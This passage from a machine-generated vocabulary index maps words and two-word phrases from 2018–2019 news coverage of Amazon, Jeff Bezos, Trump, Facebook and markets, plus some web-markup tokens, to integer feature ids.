"reactid 182": 40604, "high paid": 40605, "facebook past": 40606, "major player": 40607, "infinitearticlecollection": 40608, "waives": 40609, "technology industries": 40610, "tweet comment": 40611, "commission anker": 40612, "bbc quietly": 40613, "facebook masterclass": 40614, "dead finally": 40615, "model suffered": 40616, "spanked": 40617, "day dishart": 40618, "keach": 40619, "brito anheuser": 40620, "bezos hopes": 40621, "harrington richmond": 40622, "gg": 40623, "214 000": 40624, "tpmlivewire": 40625, "commotion": 40626, "landscapes": 40627, "homes nationwide": 40628, "___ ap": 40629, "canada business": 40630, "brandingtextsub": 40631, "gawker declared": 40632, "recession households": 40633, "alltech": 40634, "leading expertise": 40635, "easy guides": 40636, "gop heads": 40637, "statement rightly": 40638, "dwyre added": 40639, "subscriptions commerce": 40640, "book brainwashed": 40641, "total surprise": 40642, "operations including": 40643, "employees argue": 40644, "oligopoly": 40645, "attack based": 40646, "post read": 40647, "discernible": 40648, "elections speculation": 40649, "company receiving": 40650, "fight institutions": 40651, "expanded far": 40652, "ibm blew": 40653, "okla": 40654, "category louis": 40655, "ants": 40656, "bezos expanded": 40657, "business china": 40658, "going forward": 40659, "simons cautioned": 40660, "robust employment": 40661, "tactics ap": 40662, "milwaukee based": 40663, "congressional democrats": 40664, "exclusionary": 40665, "mitt romney": 40666, "noted include": 40667, "railroad steel": 40668, "release rages": 40669, "tesla marijuana": 40670, "overnight hurricane": 40671, "chair william": 40672, "rid": 40673, "stakes rise": 40674, "contract makes": 40675, "way heres": 40676, "turn according": 40677, "fresh target": 40678, "helps organizations": 40679, "accessories smart": 40680, "herera separately": 40681, "oscar": 40682, "dogged washington": 40683, "says facebook": 40684, "beckerman": 40685, "affect business": 40686, "new industry": 40687, "departments": 40688, "rising protest": 40689, "mortgage lending": 40690, "media personality": 40691, "democratic nominee": 40692, "disclosure": 40693, "movements": 40694, "charging consumers": 40695, "finalized obama": 40696, "heavily immigrant": 40697, "facility posted": 40698, "worth make": 40699, "answers 2018": 40700, "establishment institutions": 40701, "guilfoyle tweeted": 40702, "billionaires bezos": 40703, "seek criminal": 40704, "god seeds": 40705, "keeping regulators": 40706, "legitimate company": 40707, "raunchy private": 40708, "steps outlined": 40709, "appeasing": 40710, "caveat faux": 40711, "trump effort": 40712, "zealand prime": 40713, "pirro focuses": 40714, "overall revenues": 40715, "patrick lauren": 40716, "foods grocery": 40717, "year rbc": 40718, "300 300w": 40719, "yesjkxa6bi": 40720, "hollenhorst thanks": 40721, "dominate search": 40722, "russia hoax": 40723, "2018 forbes": 40724, "bosch available": 40725, "synovus": 40726, "prioritizing consumer": 40727, "business professor": 40728, "facebook plans": 40729, "ihob decorative": 40730, "verizon subsidiary": 40731, "scandal otting": 40732, "greeting 2018": 40733, "local lawmakers": 40734, "shift citigroup": 40735, "news report": 40736, "economy china": 40737, "becker looked": 40738, "fear democrats": 40739, "administration asylum": 40740, "cheating multiple": 40741, "based titan": 40742, "ummm multiple": 40743, "state agencies": 40744, "prioritizing": 40745, "beat poetry": 40746, "wheel joann": 40747, "production drivers": 40748, "everyday life": 40749, "company dearly": 40750, "reach large": 40751, "shop": 40752, "incredible pace": 40753, "going pay": 40754, "width webdisplayname": 40755, "motorcycle production": 40756, "getting away": 40757, "shinjini": 40758, "buzzsaw netflix": 40759, "creation protection": 40760, "kutlu": 40761, "doesn make": 40762, "cia exclusive": 40763, "creating ability": 40764, "political affiliation": 40765, "100 000": 40766, "000 american": 40767, "reviews music": 40768, "sense given": 40769, "gilbert": 40770, "pilot extraordinaire": 40771, "gossip true": 40772, "bypass normal": 40773, "list challenges": 40774, "health raises": 40775, "letters wsjournal": 40776, "thatwas real": 40777, "addition subtraction": 40778, "rates comparable": 40779, "great fear": 40780, "schr\u00f6dinger north": 40781, "card url": 40782, "gabrielle": 40783, "funeral held": 40784, "firm palantir": 40785, "amazon advantages": 40786, "svs reading": 40787, "term impacts": 40788, "rite": 40789, "galley": 40790, "painful flesh": 40791, "adelson": 40792, "semiconductor space": 40793, "aka james": 40794, "liberty based": 40795, "administration added": 40796, "betty white": 40797, "small wars": 40798, "a4ee h0": 40799, "complete triple": 40800, "trump brought": 40801, "influenced": 40802, "worth cheering": 40803, "tech icon": 40804, "article president": 40805, "susie scaretta": 40806, "mackey asserted": 40807, "fortune notes": 40808, "relations spheres": 40809, "longer depend": 40810, "joined microsoft": 40811, "improperly used": 40812, "care public": 40813, "cigar photo": 40814, "using bulk": 40815, "nerds": 40816, "181 shares": 40817, "reevaluate": 40818, "chapters 11s": 40819, "captionless": 40820, "click module": 40821, "leading presidential": 40822, "alabama antique": 40823, "regular contact": 40824, "hailed historical": 40825, "offred": 40826, "new secondary": 40827, "2f2018 2f9": 40828, "resented having": 40829, "good warns": 40830, "time controversial": 40831, "rex jacobsen": 40832, "margins disappointed": 40833, "growth amid": 40834, "density kids": 40835, "city hard": 40836, "youngest players": 40837, "brooks barnes": 40838, "reimburse state": 40839, "capping prices": 40840, "customer homes": 40841, "good jobs": 40842, "friendly version": 40843, "buy button": 40844, "cartoonist": 40845, "khashoggi killing": 40846, "trump pushed": 40847, "good innovation": 40848, "survival ratesworld": 40849, "graham miller": 40850, "ambani": 40851, "day war": 40852, "2019 report": 40853, "brosseau haugen": 40854, "copyright": 40855, "forensic audit": 40856, "novelties": 40857, "president george": 40858, "alibaba navarro": 40859, "consequential": 40860, "trump hates": 40861, "revealing": 40862, "alert generated": 40863, "media giants": 40864, "year accounting": 40865, "pointed portrayal": 40866, "banana peel": 40867, "2019 highlight": 40868, "street valued": 40869, "allegedly forced": 40870, "natural termination": 40871, "388": 40872, "unmarked truck": 40873, "house democratic": 40874, "diligence amzn": 40875, "bases signaling": 40876, "hasn offset": 40877, "gubarev": 40878, "author nick": 40879, "mark savino": 40880, "karamo": 40881, "attack investigation": 40882, "climate observatory": 40883, "new area": 40884, "david simon": 40885, "2018 pic": 40886, "supplemental nutrition": 40887, "hogarth": 40888, "prime program": 40889, "chronically posts": 40890, "littered": 40891, "outweighs": 40892, "survivorship programs": 40893, "senate took": 40894, "calamity": 40895, "intergovernmental panel": 40896, "long complex": 40897, "2015 agreement": 40898, "pizzazz": 40899, "usage stats": 40900, "test results": 40901, "deep pockets": 40902, "controlled device": 40903, "sellers buy": 40904, "tax issue": 40905, "story forbes": 40906, "israeli invasion": 40907, "refugees president": 40908, "today talked": 40909, "place ami": 40910, "different fronts": 40911, "blackmailing deals": 40912, "subsidizing agric": 40913, "statement denying": 40914, "hardworking americans": 40915, "dozen shows": 40916, "romney took": 40917, "pollack": 40918, "conspiracy website": 40919, "academic exercise": 40920, "wizard": 40921, "interior minister": 40922, "supported efforts": 40923, "places clashed": 40924, "growth getty": 40925, "political strategy": 40926, "wholesale vendors": 40927, "post public": 40928, "longtime community": 40929, "sanchez believed": 40930, "lippman daniel": 40931, "vote modern": 40932, "late spring": 40933, "news director": 40934, "lisa jennings": 40935, "mathias doepfner": 40936, "rebuffed": 40937, "omar comments": 40938, "agent struggles": 40939, "ami attorneys": 40940, "trump convened": 40941, "crushing competitors": 40942, "colin jost": 40943, "leasing approximately": 40944, "fulfilment associate": 40945, "sewer": 40946, "ipo": 40947, "far important": 40948, "pat mcdonogh": 40949, "demands began": 40950, "story creator": 40951, "searle": 40952, "adaptation hits": 40953, "bottomless": 40954, "amzn fourth": 40955, "madeira river": 40956, "law passed": 40957, "regular ones": 40958, "investment failed": 40959, "time using": 40960, "ap joel": 40961, "announced espionage": 40962, "elmhurst corona": 40963, "viral blog": 40964, "liane": 40965, "actor steve": 40966, "secretary steve": 40967, "customers exactly": 40968, "amazon burgeoning": 40969, "facebooks sandberg": 40970, "advance plot": 40971, "fromthe rise": 40972, "note amazon": 40973, "reached success": 40974, "prime head": 40975, "bezos todd": 40976, "pallotta": 40977, "shares gabelli": 40978, "cnbc marketwatch": 40979, "installed air": 40980, "hill alex": 40981, "pocket lighters": 40982, "trump inspiration": 40983, "dead trump": 40984, "closely examine": 40985, "activism": 40986, "team sells": 40987, "steveschmidtses": 40988, "mentally repurposed": 40989, "simplicity": 40990, "early aughts": 40991, "mortality": 40992, "estimated half": 40993, "choppiness": 40994, "finish production": 40995, "billion wsj": 40996, "bradshaw jr": 40997, "security united": 40998, "showing picture": 40999, "hornedo": 41000, "identities institutions": 41001, "elementcontents videocardcontents": 41002, "becker declined": 41003, "prosecutor robert": 41004, "reach prime": 41005, "brent": 41006, "year katherine": 41007, "antitrust department": 41008, "nasdaq goog": 41009, "new nonpartisan": 41010, "fine trump": 41011, "cheat consumers": 41012, "lines connecting": 41013, "story hawaii": 41014, "seconds patriots": 41015, "twitter apple": 41016, "wagner used": 41017, "addiction donovan": 41018, "honour time": 41019, "isn liable": 41020, "brentwood": 41021, "act invalidation": 41022, "charity stakes": 41023, "thing hot": 41024, "post split": 41025, "current expectations": 41026, "related drama": 41027, "ashland balloonfest": 41028, "tconsulted": 41029, "putin including": 41030, "represents failure": 41031, "program vows": 41032, "fraud lawsuits": 41033, "435": 41034, "dissenting": 41035, "decent working": 41036, "necessary juices": 41037, "teeth pulled": 41038, "vaticannews": 41039, "flights": 41040, "meb faber": 41041, "israel hamas": 41042, "granny\u0430janice clark": 41043, "oppose increased": 41044, "butcher block": 41045, "lead cnl_filelocation": 41046, "provide estimated": 41047, "report executive": 41048, "bbc news": 41049, "writes margaret": 41050, "stymie": 41051, "gas developments": 41052, "government reach": 41053, "syrian egyptian": 41054, "popular holding": 41055, "pleas": 41056, "lower ultimately": 41057, "2000s recession": 41058, "bezos followers": 41059, "alexandia": 41060, "vitalhub reports": 41061, "month research": 41062, "germany crucial": 41063, "fans hankering": 41064, "common dream": 41065, "versace assassination": 41066, "donation suggestions": 41067, "union poorly": 41068, "media bolsonaro": 41069, "jeffersonians": 41070, "deliveries following": 41071, "liam": 41072, "goal amazon": 41073, "100 authorized": 41074, "thing home": 41075, "chronicled": 41076, "climbed 443": 41077, "jarvis reported": 41078, "jointly developed": 41079, "new growth": 41080, "strong rationale": 41081, "comey conan": 41082, "fanh": 41083, "held blue": 41084, "reorder consumer": 41085, "site ranging": 41086, "oct record": 41087, "years contract": 41088, "averted": 41089, "gmobogys5r": 41090, "bezos sweetheart": 41091, "attempts according": 41092, "facebook mean": 41093, "traffic flight": 41094, "harbor posted": 41095, "test discovered": 41096, "comey shares": 41097, "russians did": 41098, "simpler customs": 41099, "matthew yglesias": 41100, "eastern half": 41101, "goldblum jurassic": 41102, "relished": 41103, "jessica bruder": 41104, "quarles leading": 41105, "service financial": 41106, "slimy boss": 41107, "episodes themed": 41108, "khosrowshahi admitted": 41109, "checker story": 41110, "force potential": 41111, "war heats": 41112, "exclusive club": 41113, "kimmel just": 41114, "avoid regulation": 41115, "market cap": 41116, "abuses": 41117, "stinging message": 41118, "invisiblewall": 41119, "traditional carrier": 41120, "drug market": 41121, "related investments": 41122, "2015 collection": 41123, "provide investors": 41124, "munch": 41125, "bloomberg finance": 41126, "upbeat melody": 41127, "walmart schooled": 41128, "sixth grade": 41129, "amassed phenomenal": 41130, "potential presidential": 41131, "karen pence": 41132, "highland": 41133, "dirty politics": 41134, "reasonably safe": 41135, "teirstein zteirstein": 41136, "real degree": 41137, "usnews people": 41138, "halliburton schlumberger": 41139, "shiny looking": 41140, "driving online": 41141, "demands uk": 41142, "prince told": 41143, "recipes": 41144, "insets charts": 41145, "santa monica": 41146, "news ignored": 41147, "jackpot 2018": 41148, "amazon storied": 41149, "confession tapes": 41150, "balderson wearing": 41151, "post investigations": 41152, "thestreet": 41153, "enforced": 41154, "symbiotic": 41155, "true bastion": 41156, "jabs": 41157, "set practically": 41158, "reach draft": 41159, "included keeping": 41160, "york lawmakers": 41161, "house flat": 41162, "priests molested": 41163, "include sen": 41164, "khalil bendib": 41165, "fined 348": 41166, "millennials want": 41167, "brockell check": 41168, "net elizabeth": 41169, "feel threatened": 41170, "fish": 41171, "deliberately obstruct": 41172, "initial massive": 41173, "photo volunteers": 41174, "bearish sign": 41175, "afternoon trading": 41176, "nemmqxvj07": 41177, "remains steadfast": 41178, "climbed bezos": 41179, "jurna nrc": 41180, "thew epa": 41181, "districts trump": 41182, "city address": 41183, "rules based": 41184, "2070336002": 41185, "obama holding": 41186, "proper nouns": 41187, "armstrong lie": 41188, "package deal": 41189, "media days": 41190, "deadly poison": 41191, "provide free": 41192, "remember told": 41193, "postmortal": 41194, "market story": 41195, "intimate relationships": 41196, "recreational waterfront": 41197, "trade representative": 41198, "old order": 41199, "bigger threats": 41200, "person shipping": 41201, "current framing": 41202, "funded economic": 41203, "new sports": 41204, "agenda amazon": 41205, "trucking logistics": 41206, "rural banditry": 41207, "availability zones": 41208, "showing new": 41209, "olympic gymnast": 41210, "regret": 41211, "georgia": 41212, "amasses unprecedented": 41213, "kavanaugh hearings": 41214, "unfairly weighted": 41215, "distribution": 41216, "trump urging": 41217, "reported brennan": 41218, "cringy self": 41219, "reuters brian": 41220, "issue bezos": 41221, "considering offering": 41222, "costs longtime": 41223, "recognition products": 41224, "using sharp": 41225, "networking hardware": 41226, "aaron david": 41227, "mta wanting": 41228, "bleeding chest": 41229, "microphone away": 41230, "facebook just": 41231, "social networking": 41232, "382": 41233, "amazonians work": 41234, "mayor muriel": 41235, "huge financial": 41236, "indigenous life": 41237, "bloodworth warehouses": 41238, "law student": 41239, "mktw gop": 41240, "stuff amazon": 41241, "solid consensus": 41242, "leaked private": 41243, "embassy steve": 41244, "campaign hughes": 41245, "community alibaba": 41246, "elect meeting": 41247, "supports amazon": 41248, "23m": 41249, "gained traction": 41250, "ucla": 41251, "refuting allegations": 41252, "kenneth cole": 41253, "initially submitted": 41254, "kellyanne": 41255, "past weekend": 41256, "daily delivery": 41257, "pronouncement": 41258, "perceived lack": 41259, "blasts tricked": 41260, "baseball legend": 41261, "trademark assets": 41262, "considered hotbeds": 41263, "community queensbridge": 41264, "repels voters": 41265, "2017 super": 41266, "black teen": 41267, "sanders ocasio": 41268, "employees attended": 41269, "cbs merger": 41270, "million barrels": 41271, "deal giving": 41272, "president photo": 41273, "hillbilly elegy": 41274, "file ap": 41275, "experience moser": 41276, "judgement": 41277, "number": 41278, "stakeholders including": 41279, "attack silicon": 41280, "stephanie gonzales": 41281, "amafozz": 41282, "bolsonaro publicly": 41283, "constructed properties": 41284, "1988": 41285, "otyf": 41286, "stays extra": 41287, "new neighborhood": 41288, "required bartiromo": 41289, "prediction": 41290, "mobile home": 41291, "gita": 41292, "amnesty": 41293, "strong independent": 41294, "fun game": 41295, "klein tommy": 41296, "triggered drop": 41297, "dealt sen": 41298, "a0 h0": 41299, "gain senate": 41300, "years institutional": 41301, "pawn": 41302, "entry primarily": 41303, "itep incredibly": 41304, "lot left": 41305, "damaging": 41306, "subsidized industries": 41307, "share toronto": 41308, "journalism used": 41309, "technology investor": 41310, "event held": 41311, "case new": 41312, "disappoints": 41313, "tapping new": 41314, "physical location": 41315, "dramatically different": 41316, "prides": 41317, "increase rents": 41318, "campaign platforms": 41319, "spinach guy": 41320, "meme able": 41321, "coby claimed": 41322, "divorce president": 41323, "speechboy71": 41324, "stimulus": 41325, "felt couldn": 41326, "icahn argues": 41327, "orders began": 41328, "just ontologically": 41329, "lion cbs": 41330, "condones": 41331, "new chairs": 41332, "cloth": 41333, "administration biggest": 41334, "laughing face": 41335, "nj": 41336, "russian spies": 41337, "photos videos": 41338, "following fourth": 41339, "oncology unit": 41340, "electoral victories": 41341, "report coming": 41342, "verizon server": 41343, "isn lot": 41344, "g6 lg": 41345, "stabilize preserve": 41346, "good options": 41347, "inbev ceo": 41348, "onstage carrying": 41349, "ja": 41350, "mir putin": 41351, "accelerating quickly": 41352, "divisive escape": 41353, "amazon despite": 41354, "say beijing": 41355, "channelarray topid": 41356, "including ground": 41357, "essex market": 41358, "quotebyline font": 41359, "aut_base_filelocation": 41360, "law earlier": 41361, "television news": 41362, "patch": 41363, "undermining regulations": 41364, "readily scan": 41365, "logical place": 41366, "giants facebook": 41367, "pilot maycay": 41368, "backdrop": 41369, "business platform": 41370, "company acquiring": 41371, "inc_custom_pubdate null": 41372, "old ideas": 41373, "replace human": 41374, "just bezos": 41375, "parents": 41376, "net price": 41377, "security featuring": 41378, "shehan": 41379, "criticism notable": 41380, "contrarians viable": 41381, "candidates 2020": 41382, "package deals": 41383, "multicarrier commerce": 41384, "ago publisher": 41385, "hurting retailers": 41386, "broadway joe": 41387, "marrying prince": 41388, "includes interviews": 41389, "terrorist couple": 41390, "nation love": 41391, "jhendel politico": 41392, "column suggests": 41393, "incredible fun": 41394, "strategist david": 41395, "college scholarships": 41396, "states broad": 41397, "biotech business": 41398, "outside seattle": 41399, "hit 140": 41400, "ruthless patriarch": 41401, "titled": 41402, "pay increases": 41403, "malpractice": 41404, "territorial dynamic": 41405, "block modi": 41406, "reactid 180": 41407, "nauseously loathe": 41408, "repeatedly accusing": 41409, "listed firm": 41410, "email boasts": 41411, "unsuccessfully challenged": 41412, "investigators following": 41413, "apple needs": 41414, "minutes piece": 41415, "876": 41416, "quite lot": 41417, "wonk speak": 41418, "dollar yen": 41419, "little different": 41420, "retail digital": 41421, "sandman comics": 41422, "america says": 41423, "doj says": 41424, "cleaving": 41425, "art thriller": 41426, "roastery type": 41427, "t2": 41428, "delivered low": 41429, "emerged victorious": 41430, "laura ingraham": 41431, "exciting educational": 41432, "obviously won": 41433, "safe harbor": 41434, "giant reports": 41435, "william attends": 41436, "tariff talk": 41437, "consumer pricing": 41438, "profile patrick": 41439, "ancestral home": 41440, "reportedly sparked": 41441, "personal photographs": 41442, "hq2 fda": 41443, "levels reported": 41444, "effect maxsa": 41445, "eliot engel": 41446, "earned money": 41447, "drying": 41448, "flicked": 41449, "naa": 41450, "aws taking": 41451, "avoid sales": 41452, "invested millions": 41453, "explore": 41454, "hyper": 41455, "boycott": 41456, "snl": 41457, "pitcher": 41458, "dangerous path": 41459, "deflected blame": 41460, "voting public": 41461, "later asked": 41462, "environmental services": 41463, "po": 41464, "including increasing": 41465, "sucrose phosphate": 41466, "hasn confirmed": 41467, "halt practices": 41468, "chief strategy": 41469, "doubts": 41470, "meager goal": 41471, "new place": 41472, "mcdaniel spec": 41473, "reportedly losing": 41474, "joe trump": 41475, "obama visited": 41476, "countries download": 41477, "rips trump": 41478, "big studios": 41479, "transcript": 41480, "industrial decline": 41481, "publisher haspolitical": 41482, "killer manhunt": 41483, "amazon shipping": 41484, "pursuit": 41485, "chances president": 41486, "family including": 41487, "polio lyme": 41488, "company time": 41489, "schwabs daughter": 41490, "literal": 41491, "course scarcely": 41492, "site memorywell": 41493, "socioeconomic needs": 41494, "investment attitudes": 41495, "require significant": 41496, "israeli british": 41497, "west orderly": 41498, "ago study": 41499, "protest organized": 41500, "cup ahead": 41501, "product amazon": 41502, "twisty story": 41503, "money smartly": 41504, "amazon otc": 41505, "federal level": 41506, "serve slew": 41507, "evt": 41508, "winners dressed": 41509, "attain 100": 41510, "states dershowitz": 41511, "making china": 41512, "unprepared": 41513, "denied bezos": 41514, "false shorturl": 41515, "2018 kiely": 41516, "nuclear test": 41517, "window": 41518, "jersey women": 41519, "conduct triple": 41520, "beast reports": 41521, "conventional war": 41522, "patent cases": 41523, "including baby": 41524, "cnbc cnbc": 41525, "videoloader": 41526, "successful reordering": 41527, "dancing backwards": 41528, "arthur": 41529, "crime festival": 41530, "wide audience": 41531, "office kind": 41532, "concede privacy": 41533, "hotel lines": 41534, "insider took": 41535, "enjoying amazon": 41536, "authorizations mean": 41537, "pushing": 41538, "tweeting mds": 41539, "leftist criticism": 41540, "needlessly": 41541, "google stopped": 41542, "airplanes": 41543, "private drone": 41544, "story written": 41545, "computing group": 41546, "world bezos": 41547, "shopping consumers": 41548, "nightly news": 41549, "undercharges": 41550, "wsj disruptive": 41551, "king laura": 41552, "changed sears": 41553, "apparent extortion": 41554, "absconded": 41555, "allegedly hired": 41556, "carries big": 41557, "authentic vietnamese": 41558, "trump praised": 41559, "rhetoric aimed": 41560, "upcoming season": 41561, "amnesty roughly": 41562, "house trump": 41563, "choosing ministry": 41564, "rewrite history": 41565, "jersey state": 41566, "loudly": 41567, "trump intelligence": 41568, "sorce": 41569, "similar lessons": 41570, "increase amazon": 41571, "nice": 41572, "mike vogel": 41573, "pusha feud": 41574, "va senate": 41575, "challenging conditions": 41576, "swells": 41577, "individual worth": 41578, "vivid descriptions": 41579, "compliance make": 41580, "trumpkim kardashian": 41581, "aforementioned minimum": 41582, "politically biased": 41583, "political propaganda": 41584, "ur dankest": 41585, "development offices": 41586, "patrice nganang": 41587, "ellison noted": 41588, "amazon valuable": 41589, "problems extend": 41590, "took positive": 41591, "amazon speaks": 41592, "cashierless": 41593, "house took": 41594, "filled faster": 41595, "nevada": 41596, "called warmer": 41597, "joint endorsement": 41598, "carrier solutions": 41599, "vt took": 41600, "hand additionally": 41601, "wapo washington": 41602, "optimistic trade": 41603, "obstacles collect": 41604, "county specifically": 41605, "district near": 41606, "media propaganda": 41607, "company products": 41608, "president mean": 41609, "systems just": 41610, "featuring 200": 41611, "multimillionaire click": 41612, "patronized walmart": 41613, "inadvisable": 41614, "magazine event": 41615, "gardner executive": 41616, "kisela hughes": 41617, "madison ala": 41618, "helped sustain": 41619, "olaoluwa": 41620, "justice agreeing": 41621, "declaration triggers": 41622, "negotiating deal": 41623, "amazon hq": 41624, "closing sharply": 41625, "obama fitness": 41626, "johnson asked": 41627, "major local": 41628, "u1 localstorage": 41629, "outstanding sales": 41630, "heckler": 41631, "yesterday saw": 41632, "local resistance": 41633, "mccabe frequent": 41634, "election brenda": 41635, "class package": 41636, "shame dies": 41637, "scandals involving": 41638, "america brian": 41639, "fleet shanker": 41640, "asc": 41641, "stern told": 41642, "spoken word": 41643, "average dma": 41644, "amazon contributing": 41645, "break ng": 41646, "stakes": 41647, "having bad": 41648, "sourcebluefly": 41649, "trends": 41650, "hour trump": 41651, "advertising primarily": 41652, "trump tower": 41653, "new airport": 41654, "documentary portrait": 41655, "tradecraft major": 41656, "genetics": 41657, "barney": 41658, "significant parliamentary": 41659, "government effort": 41660, "america shows": 41661, "difficult critics": 41662, "towers": 41663, "ipo prices": 41664, "discusses conley": 41665, "center building": 41666, "modern antitrust": 41667, "casts": 41668, "amber athey": 41669, "heartland poised": 41670, "actually care": 41671, "cash plowed": 41672, "actress meghan": 41673, "alum defends": 41674, "baptised": 41675, "lip service": 41676, "looming divorce": 41677, "ship household": 41678, "intact according": 41679, "debt records": 41680, "facebook live": 41681, "justin fox": 41682, "operations aimed": 41683, "bodily": 41684, "make matters": 41685, "west african": 41686, "dubious constitutional": 41687, "settle number": 41688, "postal policy": 41689, "johnston writes": 41690, "government king": 41691, "example data": 41692, "actually computer": 41693, "home news": 41694, "autostartvideo false": 41695, "benson": 41696, "maximum extent": 41697, "dollar contract": 41698, "protagonist takes": 41699, "micron says": 41700, "article favorite": 41701, "additional perks": 41702, "nails": 41703, "etf xlk": 41704, "times rated": 41705, "salt backlash": 41706, "viruses": 41707, "included 238": 41708, "immune trump": 41709, "future assets": 41710, "statement emailed": 41711, "collecting user": 41712, "cable industry": 41713, "story think": 41714, "nyt 8221": 41715, "real reason": 41716, "initially predicted": 41717, "lie catching": 41718, "foods tyson": 41719, "folks canpoint": 41720, "travel hacks": 41721, "attack reuters": 41722, "national wellbeing": 41723, "director given": 41724, "foreseen": 41725, "removed amazon": 41726, "true love": 41727, "time wished": 41728, "fortune bringing": 41729, "floridians": 41730, "amazon hats": 41731, "record turnout": 41732, "coverage used": 41733, "success learn": 41734, "local developers": 41735, "great piece": 41736, "outranked": 41737, "empire actor": 41738, "counties": 41739, "grant regulatory": 41740, "eighty": 41741, "policy sponsored": 41742, "deadly career": 41743, "concession speech": 41744, "activist ire": 41745, "luxury bag": 41746, "miracles seeking": 41747, "enlargement remedy": 41748, "just endured": 41749, "indigenous alliance": 41750, "pndlkq12cr": 41751, "excluded merchants": 41752, "administration possible": 41753, "little trigger": 41754, "quotesoftheday": 41755, "abusing private": 41756, "household devices": 41757, "makeshift": 41758, "families face": 41759, "brahminical patriarchy": 41760, "google executives": 41761, "consuming media": 41762, "khan central": 41763, "line munster": 41764, "watch": 41765, "gilmore": 41766, "article urging": 41767, "demagogues": 41768, "private life": 41769, "eileen rivers": 41770, "observations remain": 41771, "piano photo": 41772, "commercial facial": 41773, "fudge": 41774, "term": 41775, "consensys": 41776, "meaning sellers": 41777, "shipping packages": 41778, "hemorrhaging billions": 41779, "reports q4": 41780, "shift": 41781, "americanize": 41782, "time earlier": 41783, "upcoming memoir": 41784, "wastes little": 41785, "college degree": 41786, "india 2678011": 41787, "pentagon": 41788, "theatrical release": 41789, "just set": 41790, "personally taken": 41791, "earning large": 41792, "garamendi absolutely": 41793, "3792223 width": 41794, "protest 1360479": 41795, "tim miller": 41796, "worst nightmares": 41797, "compressing massive": 41798, "volatility blowup": 41799, "cameron": 41800, "steven terner": 41801, "brka": 41802, "rep greg": 41803, "trading strategy": 41804, "christian davenport": 41805, "party vendor": 41806, "kavanaugh hand": 41807, "average chief": 41808, "trump greenlit": 41809, "chatter turned": 41810, "flight control": 41811, "dramatically increase": 41812, "registries": 41813, "facebook feed": 41814, "highlighted million": 41815, "wannabe hq2": 41816, "capitalization": 41817, "separate trips": 41818, "000 seasonal": 41819, "counsel owns": 41820, "622": 41821, "company soon": 41822, "shaub accusations": 41823, "law erases": 41824, "steps forward": 41825, "include columbia": 41826, "john sherman": 41827, "information purposes": 41828, "fortunate gig": 41829, "statistics": 41830, "2019 18217174": 41831, "stores trump": 41832, "presumably relieved": 41833, "sweater": 41834, "gift wrap": 41835, "undocumented immigratns": 41836, "trump resort": 41837, "lamichhane bowled": 41838, "staged series": 41839, "panel chair": 41840, "campaign inviting": 41841, "reportedly sold": 41842, "4th quarter": 41843, "tempestuous": 41844, "state trump": 41845, "amazon newly": 41846, "people calling": 41847, "mccabe lied": 41848, "assault scandal": 41849, "estate company": 41850, "plan brian": 41851, "isn far": 41852, "seton": 41853, "twitter users": 41854, "5ehequal77 raw": 41855, "unlike amazon": 41856, "wrote musk": 41857, "companies strategizing": 41858, "bury story": 41859, "fully diluted": 41860, "delinquency rates": 41861, "years setting": 41862, "campaign consultants": 41863, "month black": 41864, "lorena alaniz": 41865, "conversations amazon": 41866, "real nut": 41867, "000 comments": 41868, "towels sunscreen": 41869, "2018 urging": 41870, "clip big": 41871, "new giveaways": 41872, "bezos beverly": 41873, "existing fubotv": 41874, "book merchants": 41875, "2c": 41876, "heartland town": 41877, "carmel obama": 41878, "states bending": 41879, "mattis right": 41880, "anniversary created": 41881, "nordstrom nyse": 41882, "michael krieger": 41883, "100 aligned": 41884, "threat trump": 41885, "google engage": 41886, "crabtree": 41887, "retweets": 41888, "nec": 41889, "employee comp": 41890, "fed hurt": 41891, "hc jc": 41892, "court appellate": 41893, "doing apart": 41894, "race justice": 41895, "policeman": 41896, "received isn": 41897, "governor race": 41898, "predictably included": 41899, "moser ooh": 41900, "base chicago": 41901, "hurting major": 41902, "highlights begin": 41903, "venezuela political": 41904, "sparked criticism": 41905, "music critic": 41906, "fi": 41907, "mason ramsey": 41908, "sharp political": 41909, "familiar stuff": 41910, "santa barbara": 41911, "tight races": 41912, "cheerleading squad": 41913, "topped 000": 41914, "exceeds": 41915, "bus": 41916, "fed set": 41917, "william butler": 41918, "america big": 41919, "deteriorates leaving": 41920, "directly force": 41921, "printings totaling": 41922, "gym": 41923, "squeezed": 41924, "david rankin": 41925, "schiaparelli": 41926, "determining": 41927, "day pontification": 41928, "dollar radio": 41929, "hit oprah": 41930, "trump aspirational": 41931, "hits amazon": 41932, "gullium": 41933, "punitive department": 41934, "dethroned long": 41935, "hatch tweet": 41936, "uk corporation": 41937, "sales plunge": 41938, "annihilation": 41939, "affair story": 41940, "momentum stocks": 41941, "bahai": 41942, "londonthenews": 41943, "obamacare law": 41944, "surging additionally": 41945, "corporate democrats": 41946, "stockpil": 41947, "reach deal": 41948, "inaccurate statements": 41949, "stock live": 41950, "amazon user": 41951, "economic resentment": 41952, "feels stronger": 41953, "arenas": 41954, "d4 a4ee": 41955, "suggestions": 41956, "patient specific": 41957, "charge ami": 41958, "needs capital": 41959, "city nyc": 41960, "punctures": 41961, "count votes": 41962, "takes aims": 41963, "916": 41964, "premarket session": 41965, "candidates campaigning": 41966, "stepmother": 41967, "google stock": 41968, "marriage hours": 41969, "workers pockets": 41970, "president ami": 41971, "conclusion reached": 41972, "cnn katie": 41973, "headphones": 41974, "leaked directly": 41975, "hannity town": 41976, "little funds": 41977, "000 payment": 41978, "scale descriptionplaintext": 41979, "red hat": 41980, "biggest customer": 41981, "managing director": 41982, "541": 41983, "harrisburg": 41984, "company operates": 41985, "relations battle": 41986, "159 george": 41987, "intellectually": 41988, "approved dominion": 41989, "influence politicians": 41990, "policies based": 41991, "huge tech": 41992, "atypical netflix": 41993, "recast": 41994, "grumpy data": 41995, "loan shark": 41996, "enquirer fare": 41997, "university supports": 41998, "just permanently": 41999, "means donnie": 42000, "known white": 42001, "gates neighbor": 42002, "cages": 42003, "mccabe admits": 42004, "shepherd reusable": 42005, "window delivery": 42006, "dignitaries virginia": 42007, "graduation day": 42008, "regularly takes": 42009, "industrials expected": 42010, "wisconsin billion": 42011, "premise quiet": 42012, "emmy winning": 42013, "delivered bezos": 42014, "brits roughly": 42015, "criminally abuses": 42016, "multiplayer": 42017, "employee meeting": 42018, "suffer according": 42019, "ranching": 42020, "interesting conversations": 42021, "year new": 42022, "media player": 42023, "ode": 42024, "aircraft thouss": 42025, "fingerprint": 42026, "coral": 42027, "trumpopulists": 42028, "tax designed": 42029, "pitch charlotte": 42030, "shinning light": 42031, "adolf hitler": 42032, "shorturl": 42033, "wrong think": 42034, "conviction": 42035, "city pets": 42036, "reaches far": 42037, 